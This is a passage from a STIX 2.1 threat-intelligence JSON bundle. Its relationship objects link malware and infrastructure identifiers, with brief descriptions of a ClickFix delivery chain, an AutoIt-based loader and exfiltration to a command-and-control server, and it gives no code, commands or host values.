            "modified": "2026-09-02T03:14:39.758036Z",
            "relationship_type": "consists-of",
            "description": "ClickFix clipboard cradle points to payload host",
            "source_ref": "infrastructure--d9d7e354-d7d8-5443-8a63-b1a55cea1d19",
            "target_ref": "infrastructure--f4349a82-f96b-57df-8a4b-4730dd7ef6fa",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--4fd9d357-4ba8-565e-ade9-8e92f80a7f0a",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.758235Z",
            "modified": "2026-09-02T03:14:39.758235Z",
            "relationship_type": "communicates-with",
            "description": "Exfil to C2",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "infrastructure--27db47d5-a5e1-553e-9b57-9782ab927232",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--e679cf84-d122-55f4-8095-2637fc66d1f4",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.758446Z",
            "modified": "2026-09-02T03:14:39.758446Z",
            "relationship_type": "delivers",
            "description": "SFX->AutoIt->native core",
            "source_ref": "infrastructure--f4349a82-f96b-57df-8a4b-4730dd7ef6fa",
            "target_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--3fd731eb-126f-5ddc-b0aa-9b5777be68ba",
            "created_by_ref": "identity--cd9f1601-6614-59bf-b144-4205ee415898",
            "created": "2026-09-02T03:14:39.758611Z",
            "modified": "2026-09-02T03:14:39.758611Z",
            "relationship_type": "targets",
            "description": "Delivered via compromised lure (victim)",
            "source_ref": "malware--df0839a2-9f29-5346-88c0-e58e63f7f8b5",
            "target_ref": "infrastructure--48e22724-14b7-502e-9960-1ebb02f8eb05",
            "object_marking_refs": [
                "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
            ]
        }
    ]
}